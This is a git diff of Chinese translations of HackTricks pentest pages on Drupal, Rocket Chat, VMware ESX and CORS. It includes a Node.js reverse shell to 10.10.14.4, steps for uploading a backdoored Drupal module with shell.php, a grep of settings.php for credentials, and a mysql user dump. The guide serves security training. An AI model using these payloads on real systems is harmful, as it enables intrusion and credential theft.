* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## Discovery
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 发现
|
||||
|
||||
* 检查**meta**
|
||||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
* **节点**: Drupal **使用节点索引其内容**。一个节点可以包含任何内容,比如博客文章、投票、文章等。页面的URI通常采用`/node/<nodeid>`的形式。
|
||||
* **节点**: Drupal **使用节点索引其内容**。一个节点可以包含任何内容,比如博客文章、投票、文章等。页面的URI通常采用形式`/node/<nodeid>`。
|
||||
```bash
|
||||
curl drupal-site.com/node/1
|
||||
```
|
||||
|
@ -48,31 +53,31 @@ Drupal的新安装默认阻止访问`CHANGELOG.txt`和`README.txt`文件。
|
|||
|
||||
#### 注册
|
||||
|
||||
在 _/user/register_ 页面尝试创建一个用户名,如果该名称已被使用,系统会通知:
|
||||
在 _/user/register_ 中尝试创建用户名,如果该名称已被使用,将会收到通知:
|
||||
|
||||
![](<../../.gitbook/assets/image (254).png>)
|
||||
![](<../../.gitbook/assets/image (325).png>)
|
||||
|
||||
#### 请求新密码
|
||||
|
||||
如果为现有用户名请求新密码:
|
||||
|
||||
![](<../../.gitbook/assets/image (255).png>)
|
||||
![](<../../.gitbook/assets/image (900).png>)
|
||||
|
||||
如果为不存在的用户名请求新密码:
|
||||
|
||||
![](<../../.gitbook/assets/image (256).png>)
|
||||
![](<../../.gitbook/assets/image (304).png>)
|
||||
|
||||
### 获取用户数量
|
||||
|
||||
访问 _/user/\<number>_ 您可以查看现有用户的数量,例如在这种情况下为2,因为 _/users/3_ 返回未找到错误:
|
||||
访问 _/user/\<number>_ 您可以查看现有用户的数量,在这种情况下为2,因为 _/users/3_ 返回未找到错误:
|
||||
|
||||
![](<../../.gitbook/assets/image (257).png>)
|
||||
![](<../../.gitbook/assets/image (330).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (227) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
|
||||
|
||||
### 隐藏页面
|
||||
|
||||
**对`/node/$`进行模糊测试,其中`$`是一个数字**(例如从1到500)。\
|
||||
**模糊 `/node/$` 其中 `$` 是一个数字**(例如从1到500)。\
|
||||
您可能会发现**隐藏页面**(测试、开发),这些页面未被搜索引擎引用。
|
||||
|
||||
#### 已安装模块信息
|
||||
|
@ -97,15 +102,15 @@ droopescan scan drupal -u http://drupal-site.local
|
|||
在 Drupal 的旧版本 **(8 版本之前)** 中,可以登录为管理员并**启用 `PHP 过滤器` 模块**,该模块"允许评估嵌入的 PHP 代码/片段"。
|
||||
{% endhint %}
|
||||
|
||||
您需要安装**插件 php**(访问 _/modules/php_ 并检查是否返回 **403**,如果返回 **403**,则**已安装**;如果**未找到**,则**未安装插件 php**)
|
||||
您需要安装**插件 php**(访问 _/modules/php_ 进行检查,如果返回 **403**,则**已安装**;如果**未找到**,则**插件 php 未安装**)
|
||||
|
||||
转到 _Modules_ -> (**检查**) _PHP Filter_ -> _保存配置_
|
||||
转到 _模块_ -> (**检查**) _PHP 过滤器_ -> _保存配置_
|
||||
|
||||
![](<../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
然后点击 _添加内容_ -> 选择 _基本页面_ 或 _文章_ -> 在正文中编写 _php shellcode_ -> 在 _文本格式_ 中选择 _PHP 代码_ -> 选择 _预览_
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1).png>)
|
||||
![](<../../.gitbook/assets/image (335).png>)
|
||||
|
||||
最后只需访问新创建的节点:
|
||||
```bash
|
||||
|
@ -123,7 +128,7 @@ curl http://drupal-site.local/node/3
|
|||
|
||||
### 后门模块
|
||||
|
||||
可以通过**向现有模块添加 shell** 来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,比如[验证码](https://www.drupal.org/project/captcha)。向下滚动并复制 tar.gz [存档](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)的链接。
|
||||
可以通过**向现有模块添加 shell** 来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,如[验证码](https://www.drupal.org/project/captcha)。向下滚动并复制 tar.gz [存档](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)的链接。
|
||||
|
||||
* 下载存档并提取其内容。
|
||||
```
|
||||
|
@ -143,12 +148,12 @@ RewriteEngine On
|
|||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* 上面的配置将在我们请求/modules文件夹中的文件时应用/folder的规则。将这两个文件都复制到captcha文件夹中并创建一个存档。
|
||||
* 上面的配置将在我们请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* 假设我们对网站具有**管理访问权限**,点击侧边栏上的**`管理`**,然后点击**`扩展`**。接下来,点击**`+ 安装新模块`**按钮,我们将被带到安装页面,例如`http://drupal-site.local/admin/modules/install`浏览到带后门的验证码存档并点击**`安装`**。
|
||||
* 假设我们拥有对网站的**管理访问权限**,点击侧边栏上的**`管理`**,然后点击**`扩展`**。接下来,点击**`+ 安装新模块`**按钮,我们将被带到安装页面,例如`http://drupal-site.local/admin/modules/install`浏览到带后门的验证码存档并点击**`安装`**。
|
||||
* 安装成功后,浏览到**`/modules/captcha/shell.php`**以执行命令。
|
||||
|
||||
## 后渗透
|
||||
|
@ -157,7 +162,7 @@ tar cvf captcha.tar.gz captcha/
|
|||
```
|
||||
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
||||
```
|
||||
### 从数据库中导出用户
|
||||
### 从数据库中转储用户
|
||||
```
|
||||
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
||||
```
|
||||
|
@ -165,16 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,18 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
如果您是Rocket Chat内部管理员,您可以获得RCE。
|
||||
|
@ -21,9 +26,9 @@
|
|||
* 转到**`Integrations`**,选择**`New Integration`**,并选择任何一个:**`Incoming WebHook`**或**`Outgoing WebHook`**。
|
||||
* `/admin/integrations/incoming`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 根据[文档](https://docs.rocket.chat/guides/administration/admin-panel/integrations),两者都使用ES2015 / ECMAScript 6([基本上是JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))来处理数据。因此,让我们为JavaScript获取一个[反向shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs):
|
||||
* 根据[文档](https://docs.rocket.chat/guides/administration/admin-panel/integrations),两者都使用ES2015 / ECMAScript 6([基本上是JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))来处理数据。因此,让我们为JavaScript获取一个[用于反向shell的rev shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs):
|
||||
```javascript
|
||||
const require = console.log.constructor('return process.mainModule.require')();
|
||||
const { exec } = require('child_process');
|
||||
|
@ -31,29 +36,33 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|||
```
|
||||
* 配置 WebHook(频道和帖子的用户名必须存在):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 配置 WebHook 脚本:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 保存更改
|
||||
* 获取生成的 WebHook URL:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 使用 curl 调用它,您应该收到反向 shell
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现我们的独家[**NFTs**]收藏品(https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# 枚举
|
||||
```text
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```
|
||||
# 暴力破解
|
||||
```text
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
如果您找到有效凭据,可以使用更多的metasploit扫描器模块来获取信息。
|
||||
如果您找到有效凭据,可以使用更多的Metasploit扫描模块来获取信息。
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -33,10 +39,10 @@ msf> auxiliary/scanner/vmware/vmware_http_login
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,41 @@
|
|||
# CORS - Misconfigurations & Bypass
|
||||
# CORS - 配置错误和绕过
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 什么是CORS?
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
跨源资源共享(CORS)标准**允许服务器定义谁可以访问它们的资源**以及外部来源可以使用哪些HTTP请求方法。
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**同源策略**要求**请求资源的服务器**和**托管资源的服务器**共享相同的协议(例如,`http://`),域名(例如,`internal-web.com`)和**端口**(例如,80)。根据此策略,只有来自相同域和端口的网页才被允许访问资源。
|
||||
## 什么是CORS?
|
||||
|
||||
跨源资源共享(CORS)标准**允许服务器定义谁可以访问其资产**以及**外部来源允许的HTTP请求方法**。
|
||||
|
||||
**同源策略**要求**请求资源的服务器**和**托管资源的服务器**共享相同的协议(例如,`http://`)、域名(例如,`internal-web.com`)和**端口**(例如,80)。根据此策略,只有来自相同域和端口的网页才被允许访问资源。
|
||||
|
||||
在`http://normal-website.com/example/example.html`上下文中应用同源策略的示例如下:
|
||||
|
||||
| 访问的URL | 是否允许访问 |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | 是: 相同的协议、域和端口 |
|
||||
| `http://normal-website.com/example2/` | 是: 相同的协议、域和端口 |
|
||||
| `https://normal-website.com/example/` | 否: 不同的协议和端口 |
|
||||
| `http://en.normal-website.com/example/` | 否: 不同的域 |
|
||||
| `http://www.normal-website.com/example/` | 否: 不同的域 |
|
||||
| `http://normal-website.com:8080/example/` | 否: 不同的端口\* |
|
||||
| 访问的URL | 允许访问? |
|
||||
| --------------------------------------- | ------------------------------------- |
|
||||
| `http://normal-website.com/example/` | 是:相同的协议、域和端口 |
|
||||
| `http://normal-website.com/example2/` | 是:相同的协议、域和端口 |
|
||||
| `https://normal-website.com/example/` | 否:不同的协议和端口 |
|
||||
| `http://en.normal-website.com/example/` | 否:不同的域 |
|
||||
| `http://www.normal-website.com/example/`| 否:不同的域 |
|
||||
| `http://normal-website.com:8080/example/`| 否:不同的端口\* |
|
||||
|
||||
\*Internet Explorer忽略端口号以执行同源策略,因此允许此访问。
|
||||
\*Internet Explorer在执行同源策略时会忽略端口号,因此允许此访问。
|
||||
|
||||
### `Access-Control-Allow-Origin` 头部
|
||||
|
||||
|
@ -74,13 +78,13 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### 理解跨域通信中的预检请求
|
||||
|
||||
在特定条件下发起跨域请求,比如使用**非标准的 HTTP 方法**(除了 HEAD、GET、POST 之外的任何方法)、引入新的**头部**,或者使用特殊的**Content-Type 头部值**,可能需要进行预检请求。这个初步请求利用**`OPTIONS`**方法,用于通知服务器即将到来的跨域请求的意图,包括打算使用的 HTTP 方法和头部。
|
||||
在特定条件下发起跨域请求,比如使用**非标准的 HTTP 方法**(除了 HEAD、GET、POST 之外的任何方法)、引入新的**头部**,或者使用特殊的**Content-Type 头部值**,可能需要进行预检请求。这个初步请求利用**`OPTIONS`**方法,用于通知服务器即将到来的跨域请求的意图,包括它打算使用的 HTTP 方法和头部。
|
||||
|
||||
**跨域资源共享(CORS)**协议要求进行这个预检查,以确定请求的跨域操作的可行性,验证允许的方法、头部以及来源的可信度。要详细了解哪些条件可以避免需要预检请求,请参考[**Mozilla 开发者网络(MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)提供的全面指南。
|
||||
**跨域资源共享(CORS)**协议规定了这种预检查,以确定请求的跨域操作的可行性,验证允许的方法、头部以及来源的可信度。要详细了解哪些条件可以避免需要预检请求,请参考[**Mozilla 开发者网络(MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)提供的全面指南。
|
||||
|
||||
需要注意的是,**缺少预检请求并不意味着响应不需要携带授权头部**。没有这些头部,浏览器将无法处理来自跨域请求的响应。
|
||||
|
||||
考虑下面这个旨在使用 `PUT` 方法和自定义头部 `Special-Request-Header` 的预检请求示例:
|
||||
考虑下面这个示例,展示了一个旨在使用 `PUT` 方法和自定义头部 `Special-Request-Header` 的预检请求:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -89,7 +93,7 @@ Origin: https://example.com
|
|||
Access-Control-Request-Method: POST
|
||||
Access-Control-Request-Headers: Authorization
|
||||
```
|
||||
在响应中,服务器可能会返回指示接受的方法、允许的来源以及其他CORS策略细节的标头,如下所示:
|
||||
作为响应,服务器可能会返回指示接受的方法、允许的来源以及其他 CORS 策略细节的标头,如下所示:
|
||||
```markdown
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
|
@ -99,22 +103,22 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: 该标头指定了在实际请求期间可以使用哪些标头。服务器设置此标头以指示来自客户端的请求中允许的标头。
|
||||
* **`Access-Control-Expose-Headers`**: 通过此标头,服务器通知客户端除了简单响应标头之外可以公开哪些标头作为响应的一部分。
|
||||
* **`Access-Control-Allow-Headers`**: 该标头指定了实际请求中可以使用的标头。服务器设置此标头以指示来自客户端的请求中允许的标头。
|
||||
* **`Access-Control-Expose-Headers`**: 通过此标头,服务器通知客户端除了简单响应标头之外哪些标头可以作为响应的一部分公开。
|
||||
* **`Access-Control-Max-Age`**: 该标头指示预检请求的结果可以被缓存多长时间。服务器设置预检请求返回的信息可以被重用的最长时间(以秒为单位)。
|
||||
* **`Access-Control-Request-Headers`**: 在预检请求中使用,此标头由客户端设置,以通知服务器客户端希望在实际请求中使用哪些 HTTP 标头。
|
||||
* **`Access-Control-Request-Method`**: 该标头也在预检请求中使用,由客户端设置以指示实际请求中将使用的 HTTP 方法。
|
||||
* **`Access-Control-Request-Headers`**: 在预检请求中使用,客户端设置此标头以通知服务器客户端希望在实际请求中使用哪些 HTTP 标头。
|
||||
* **`Access-Control-Request-Method`**: 该标头也在预检请求中使用,客户端设置此标头以指示实际请求中将使用的 HTTP 方法。
|
||||
* **`Origin`**: 该标头由浏览器自动设置,指示跨源请求的来源。服务器使用它来评估根据 CORS 策略是否应允许或拒绝传入请求。
|
||||
|
||||
请注意,通常(取决于内容类型和设置的标头),在 **GET/POST 请求中不会发送预检请求**(请求会 **直接** 发送),但如果要访问响应的 **标头/主体**,它必须包含一个允许的 _Access-Control-Allow-Origin_ 标头。\
|
||||
**因此,CORS 不能防御 CSRF(但可能有所帮助)。**
|
||||
**因此,CORS 不能防止 CSRF(但可能有所帮助)。**
|
||||
|
||||
### **本地网络请求预检请求**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: 此标头包含在客户端请求中,表示查询针对本地网络资源。它作为一个标记,通知服务器请求源自本地网络。
|
||||
2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器使用此标头来传达所请求资源允许与本地网络之外的实体共享。它充当资源跨不同网络边界共享的绿灯,确保在维护安全协议的同时控制访问。
|
||||
1. **`Access-Control-Request-Local-Network`**: 此标头包含在客户端的请求中,表示查询针对本地网络资源。它作为一个标记,通知服务器请求源自本地网络。
|
||||
2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器使用此标头来传达所请求资源允许与本地网络之外的实体共享。它充当资源跨不同网络边界共享的绿灯,确保在维护安全协议的同时进行受控访问。
|
||||
|
||||
**允许本地网络请求的有效响应** 还需要在响应中包含标头 `Access-Controls-Allow-Local_network: true`:
|
||||
**允许本地网络请求的有效响应还需要在响应中包含标头 `Access-Controls-Allow-Local_network: true`:**
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -128,12 +132,12 @@ Content-Length: 0
|
|||
{% hint style="warning" %}
|
||||
